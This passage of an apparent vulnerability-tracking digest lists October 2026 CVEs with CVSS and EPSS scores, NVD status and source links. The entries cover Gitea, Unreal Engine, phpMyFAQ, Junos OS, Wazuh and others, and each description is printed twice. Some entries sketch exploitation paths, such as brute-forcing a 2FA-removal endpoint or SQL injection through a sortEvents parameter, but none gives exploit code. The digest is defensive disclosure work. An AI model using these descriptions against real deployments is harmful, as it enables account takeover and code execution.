FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73800&date=2026-10-25
Gitea resolves local reusable workflow files from a fork's head commit when a trusted base-branch workflow runs for a pull_request_target event. A fork author can modify a referenced reusable workflow so attacker-controlled code executes with the repository and organization secrets available to that event. Exploitation requires a base workflow that calls a local reusable workflow, and bypasses the intended separation between trusted base code and untrusted fork code.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea substitutes a URL derived from the markup Context field into external renderer command templates without escaping the reference path before shell-style argument splitting.
https://kevwire.com/record/CVE-2026-73539
Gitea substitutes a URL derived from the markup Context field into external renderer command templates without escaping the reference path before shell-style argument splitting. (Oct 14, 2026).
Gitea substitutes a URL derived from the markup Context field into external renderer command templates without escaping the reference path before shell-style argument splitting. A crafted Context can inject additional renderer arguments, including options that load executable filter files. On deployments using a susceptible external renderer such as pandoc, a user who can place a filter file at an accessible path can cause it to execute as the Gitea service account; the public repository markup endpoint itself can be reachable without authentication.
CVSS 7.5 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73539).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73539&date=2026-10-25).
Sources:
NVD CVE-2026-73539: https://nvd.nist.gov/vuln/detail/CVE-2026-73539
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73539&date=2026-10-25
Gitea substitutes a URL derived from the markup Context field into external renderer command templates without escaping the reference path before shell-style argument splitting. A crafted Context can inject additional renderer arguments, including options that load executable filter files. On deployments using a susceptible external renderer such as pandoc, a user who can place a filter file at an accessible path can cause it to execute as the Gitea service account; the public repository markup endpoint itself can be reachable without authentication.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea's OpenID connect handler accepts a user's password without enforcing enrolled TOTP or WebAuthn verification before completing sign-in and linking an OpenID identifier.
https://kevwire.com/record/CVE-2026-73535
Gitea's OpenID connect handler accepts a user's password without enforcing enrolled TOTP or WebAuthn verification before completing sign-in and linking an OpenID identifier. (Oct 14, 2026).
Gitea's OpenID connect handler accepts a user's password without enforcing enrolled TOTP or WebAuthn verification before completing sign-in and linking an OpenID identifier. When OpenID sign-in is enabled, an attacker who knows the victim's password can obtain a session and link an attacker-controlled identifier. The attacker can then sign in through that identifier without the victim's password or second factor, and a password change does not remove the link.
CVSS 8.8 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73535).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73535&date=2026-10-25).
Sources:
NVD CVE-2026-73535: https://nvd.nist.gov/vuln/detail/CVE-2026-73535
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73535&date=2026-10-25
Gitea's OpenID connect handler accepts a user's password without enforcing enrolled TOTP or WebAuthn verification before completing sign-in and linking an OpenID identifier. When OpenID sign-in is enabled, an attacker who knows the victim's password can obtain a session and link an attacker-controlled identifier. The attacker can then sign in through that identifier without the victim's password or second factor, and a password change does not remove the link.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An output escaping vulnerability in the Audit Logs component of Crafty Controller allows a remote, unauthenticated attacker to perform stored cross-site scripting via HTTP header...
https://kevwire.com/record/CVE-2026-18516
An output escaping vulnerability in the Audit Logs component of Crafty Controller allows a remote, unauthenticated attacker to perform stored cross-site scripting via HTTP header... (Oct 16, 2026).
An output escaping vulnerability in the Audit Logs component of Crafty Controller allows a remote, unauthenticated attacker to perform stored cross-site scripting via HTTP header injection
CVSS 9.6 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18516).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18516&date=2026-10-25).
Sources:
NVD CVE-2026-18516: https://nvd.nist.gov/vuln/detail/CVE-2026-18516
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18516&date=2026-10-25
An output escaping vulnerability in the Audit Logs component of Crafty Controller allows a remote, unauthenticated attacker to perform stored cross-site scripting via HTTP header injection

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Epic Games Unreal Engine versions up to and including 5.8.0 ship with an insecure default configuration for the LaunchURL Blueprint node (UKismetSystemLibrary::LaunchURL).
https://kevwire.com/record/CVE-2026-14765
Epic Games Unreal Engine versions up to and including 5.8.0 ship with an insecure default configuration for the LaunchURL Blueprint node (UKismetSystemLibrary::LaunchURL). (Oct 14, 2026).
Epic Games Unreal Engine versions up to and including 5.8.0 ship with an insecure default configuration for the LaunchURL Blueprint node (UKismetSystemLibrary::LaunchURL). The URL scheme filter (FURLRequestFilter) is empty by default, which permits all URL schemes. On Windows, this results in a call to ShellExecuteW() with the open verb, so a supplied file:/// URI causes the referenced file to be executed. Any Unreal Engine game that loads user-generated content containing Blueprints is vulnerable to command execution via a malicious local file or a remote file on a WebDAV share. This is an instance of CWE-1188 (Initialization of a Resource with an Insecure Default).
CVSS 7.7 (version 3.1; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-14765).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-14765&date=2026-10-25).
Sources:
NVD CVE-2026-14765: https://nvd.nist.gov/vuln/detail/CVE-2026-14765
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-14765&date=2026-10-25
Epic Games Unreal Engine versions up to and including 5.8.0 ship with an insecure default configuration for the LaunchURL Blueprint node (UKismetSystemLibrary::LaunchURL). The URL scheme filter (FURLRequestFilter) is empty by default, which permits all URL schemes. On Windows, this results in a call to ShellExecuteW() with the open verb, so a supplied file:/// URI causes the referenced file to be executed. Any Unreal Engine game that loads user-generated content containing Blueprints is vulnerable to command execution via a malicious local file or a remote file on a WebDAV share. This is an instance of CWE-1188 (Initialization of a Resource with an Insecure Default).

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta lacks brute-force lockout in the removeTwofactorConfig() 2FA removal endpoint, allowing authenticated attackers to guess TOTP codes...
https://kevwire.com/record/CVE-2026-111886
phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta lacks brute-force lockout in the removeTwofactorConfig() 2FA removal endpoint, allowing authenticated attackers to guess TOTP codes... (Oct 17, 2026).
phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta lacks brute-force lockout in the removeTwofactorConfig() 2FA removal endpoint, allowing authenticated attackers to guess TOTP codes without limit. Attackers holding a hijacked session and CSRF token can repeatedly POST guesses to /api/user/remove-twofactor to permanently disable the victim's 2FA.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111886).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111886&date=2026-10-25).
Sources:
NVD CVE-2026-111886: https://nvd.nist.gov/vuln/detail/CVE-2026-111886
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111886&date=2026-10-25
phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta lacks brute-force lockout in the removeTwofactorConfig() 2FA removal endpoint, allowing authenticated attackers to guess TOTP codes without limit. Attackers holding a hijacked session and CSRF token can repeatedly POST guesses to /api/user/remove-twofactor to permanently disable the victim's 2FA.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ from 4.2.0-alpha before 4.2.0-beta contains a missing authorization vulnerability in GroupController::deleteGroup() that omits privilege-level checks on target groups.
https://kevwire.com/record/CVE-2026-111885
phpMyFAQ from 4.2.0-alpha before 4.2.0-beta contains a missing authorization vulnerability in GroupController::deleteGroup() that omits privilege-level checks on target groups. (Oct 17, 2026).
phpMyFAQ from 4.2.0-alpha before 4.2.0-beta contains a missing authorization vulnerability in GroupController::deleteGroup() that omits privilege-level checks on target groups. Authenticated non-SuperAdmin administrators holding GROUP_DELETE can send a crafted groupId to /admin/api/group/delete to permanently destroy higher-privileged groups and strip members' inherited rights.
CVSS 7.0 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111885).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111885&date=2026-10-25).
Sources:
NVD CVE-2026-111885: https://nvd.nist.gov/vuln/detail/CVE-2026-111885
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111885&date=2026-10-25
phpMyFAQ from 4.2.0-alpha before 4.2.0-beta contains a missing authorization vulnerability in GroupController::deleteGroup() that omits privilege-level checks on target groups. Authenticated non-SuperAdmin administrators holding GROUP_DELETE can send a crafted groupId to /admin/api/group/delete to permanently destroy higher-privileged groups and strip members' inherited rights.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Input Validation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker...
https://kevwire.com/record/CVE-2026-101943
An Improper Input Validation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker... (Oct 14, 2026).
An Improper Input Validation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a crafted BGP EVPN update message.
CVSS 8.7 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101943).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101943&date=2026-10-25).
Sources:
NVD CVE-2026-101943: https://nvd.nist.gov/vuln/detail/CVE-2026-101943
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101943&date=2026-10-25
An Improper Input Validation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a crafted BGP EVPN update message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an...
https://kevwire.com/record/CVE-2026-101942
An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an... (Oct 14, 2026).
An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a malformed EVPN Type-3 or Type-4 route received from a configured EVPN peer and processed during re-advertisement.
CVSS 8.7 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101942).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101942&date=2026-10-25).
Sources:
NVD CVE-2026-101942: https://nvd.nist.gov/vuln/detail/CVE-2026-101942
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101942&date=2026-10-25
An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a malformed EVPN Type-3 or Type-4 route received from a configured EVPN peer and processed during re-advertisement.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP neighbor to cause a denial...
https://kevwire.com/record/CVE-2026-101941
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP neighbor to cause a denial... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP neighbor to cause a denial of service via a BGP route update when specific routing-policy resolution-map and policy event-tracing configuration is enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101941).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101941&date=2026-10-25).
Sources:
NVD CVE-2026-101941: https://nvd.nist.gov/vuln/detail/CVE-2026-101941
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101941&date=2026-10-25
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP neighbor to cause a denial of service via a BGP route update when specific routing-policy resolution-map and policy event-tracing configuration is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured BGP peer to cause a...
https://kevwire.com/record/CVE-2026-101940
A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured BGP peer to cause a... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured BGP peer to cause a denial of service via a BGP UPDATE when ISO-VPN and egress-protection configuration is enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101940).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101940&date=2026-10-25).
Sources:
NVD CVE-2026-101940: https://nvd.nist.gov/vuln/detail/CVE-2026-101940
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101940&date=2026-10-25
A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured BGP peer to cause a denial of service via a BGP UPDATE when ISO-VPN and egress-protection configuration is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh from 4.0.0 before 4.14.8 contains an information disclosure vulnerability that allows low-privileged users with agent:read to retrieve the plaintext authd.pass enrollment...
https://kevwire.com/record/CVE-2026-74047
Wazuh from 4.0.0 before 4.14.8 contains an information disclosure vulnerability that allows low-privileged users with agent:read to retrieve the plaintext authd.pass enrollment... (Oct 13, 2026).
Wazuh from 4.0.0 before 4.14.8 contains an information disclosure vulnerability that allows low-privileged users with agent:read to retrieve the plaintext authd.pass enrollment password via the unmasked agent configuration endpoint. Attackers holding the default readonly role can request the auth component configuration for pseudo-agent ID 000 to obtain the secret and enroll rogue agents against the manager.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74047).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74047&date=2026-10-25).
Sources:
NVD CVE-2026-74047: https://nvd.nist.gov/vuln/detail/CVE-2026-74047
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74047&date=2026-10-25
Wazuh from 4.0.0 before 4.14.8 contains an information disclosure vulnerability that allows low-privileged users with agent:read to retrieve the plaintext authd.pass enrollment password via the unmasked agent configuration endpoint. Attackers holding the default readonly role can request the auth component configuration for pseudo-agent ID 000 to obtain the secret and enroll rogue agents against the manager.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh 4.0.0 before 4.14.8 fails to invalidate issued tokens for run_as users with zero static roles, because check_token never consults the blacklist.
https://kevwire.com/record/CVE-2026-74037
Wazuh 4.0.0 before 4.14.8 fails to invalidate issued tokens for run_as users with zero static roles, because check_token never consults the blacklist. (Oct 13, 2026).
Wazuh 4.0.0 before 4.14.8 fails to invalidate issued tokens for run_as users with zero static roles, because check_token never consults the blacklist. Attackers with revoked administrator grants can continue authenticating and self-link the administrator role to permanently retain privileged access.
CVSS 8.6 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74037).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74037&date=2026-10-25).
Sources:
NVD CVE-2026-74037: https://nvd.nist.gov/vuln/detail/CVE-2026-74037
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74037&date=2026-10-25
Wazuh 4.0.0 before 4.14.8 fails to invalidate issued tokens for run_as users with zero static roles, because check_token never consults the blacklist. Attackers with revoked administrator grants can continue authenticating and self-link the administrator role to permanently retain privileged access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a regular, non-administrative member to create user accounts by invoking the...
https://kevwire.com/record/CVE-2026-63172
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a regular, non-administrative member to create user accounts by invoking the... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a regular, non-administrative member to create user accounts by invoking the user-edit action without a function-level authorization check. Attackers can exploit the missing editRight() enforcement in actionVueEditUser to create unauthorized user accounts, leading to privilege escalation.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63172).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63172&date=2026-10-25).
Sources:
NVD CVE-2026-63172: https://nvd.nist.gov/vuln/detail/CVE-2026-63172
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63172&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a regular, non-administrative member to create user accounts by invoking the user-edit action without a function-level authorization check. Attackers can exploit the missing editRight() enforcement in actionVueEditUser to create unauthorized user accounts, leading to privilege escalation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a SQL injection vulnerability in the calendar functionality that allows attackers to inject malicious SQL by manipulating the...
https://kevwire.com/record/CVE-2026-63165
Omnispace Agora Project before 26.10.0 contains a SQL injection vulnerability in the calendar functionality that allows attackers to inject malicious SQL by manipulating the... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a SQL injection vulnerability in the calendar functionality that allows attackers to inject malicious SQL by manipulating the sortEvents parameter, which is concatenated into the ORDER BY clause without sanitization in app/ModCalendar/CtrlCalendar.php. Attackers can exploit this flaw using error-based techniques such as extractvalue payloads to extract database information, including version data, from the underlying system.
CVSS 8.6 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63165).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63165&date=2026-10-25).
Sources:
NVD CVE-2026-63165: https://nvd.nist.gov/vuln/detail/CVE-2026-63165
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63165&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a SQL injection vulnerability in the calendar functionality that allows attackers to inject malicious SQL by manipulating the sortEvents parameter, which is concatenated into the ORDER BY clause without sanitization in app/ModCalendar/CtrlCalendar.php. Attackers can exploit this flaw using error-based techniques such as extractvalue payloads to extract database information, including version data, from the underlying system.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a vulnerability where the persistent remember-me token is stored verbatim server-side, making the stored value identical to the...
https://kevwire.com/record/CVE-2026-63160
Omnispace Agora Project before 26.10.0 contains a vulnerability where the persistent remember-me token is stored verbatim server-side, making the stored value identical to the... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a vulnerability where the persistent remember-me token is stored verbatim server-side, making the stored value identical to the bearer credential held in the user's cookie. Attackers who gain access to the stored token, such as through database or backup disclosure, can replay the plaintext value to authenticate as the victim user without needing their password.
CVSS 9.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63160).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63160&date=2026-10-25).
Sources:
NVD CVE-2026-63160: https://nvd.nist.gov/vuln/detail/CVE-2026-63160
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63160&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a vulnerability where the persistent remember-me token is stored verbatim server-side, making the stored value identical to the bearer credential held in the user's cookie. Attackers who gain access to the stored token, such as through database or backup disclosure, can replay the plaintext value to authenticate as the victim user without needing their password.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta does not require the current password when changing an account e-mail in the user control panel...
https://kevwire.com/record/CVE-2026-111884
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta does not require the current password when changing an account e-mail in the user control panel... (Oct 17, 2026).
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta does not require the current password when changing an account e-mail in the user control panel (UserController::updateData, api/user/data/update), checking only the session and CSRF token. An attacker with a hijacked session can set the e-mail to their own mailbox and use the password-reset flow to take over non-2FA accounts, including superadmin.
CVSS 8.7 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111884).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111884&date=2026-10-25).
Sources:
NVD CVE-2026-111884: https://nvd.nist.gov/vuln/detail/CVE-2026-111884
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111884&date=2026-10-25
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta does not require the current password when changing an account e-mail in the user control panel (UserController::updateData, api/user/data/update), checking only the session and CSRF token. An attacker with a hijacked session can set the e-mail to their own mailbox and use the password-reset flow to take over non-2FA accounts, including superadmin.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 3.2.0-alpha before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows IdP-authenticated users to skip TOTP two-factor...
https://kevwire.com/record/CVE-2026-111882
phpMyFAQ 3.2.0-alpha before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows IdP-authenticated users to skip TOTP two-factor... (Oct 17, 2026).
phpMyFAQ 3.2.0-alpha before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows IdP-authenticated users to skip TOTP two-factor authentication through the Keycloak and Entra ID SSO callbacks. Attackers holding a valid or phished IdP identity linked to a 2FA-enabled account can complete the OIDC flow and obtain a fully authenticated session, including administrator accounts.
CVSS 8.6 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111882).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111882&date=2026-10-25).
Sources:
NVD CVE-2026-111882: https://nvd.nist.gov/vuln/detail/CVE-2026-111882
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111882&date=2026-10-25
phpMyFAQ 3.2.0-alpha before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows IdP-authenticated users to skip TOTP two-factor authentication through the Keycloak and Entra ID SSO callbacks. Attackers holding a valid or phished IdP identity linked to a 2FA-enabled account can complete the OIDC flow and obtain a fully authenticated session, including administrator accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 has certain endpoints that do not enforce proper authorization checks on operations that modify production records.
https://kevwire.com/record/CVE-2026-109660
Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 has certain endpoints that do not enforce proper authorization checks on operations that modify production records. (Oct 12, 2026).
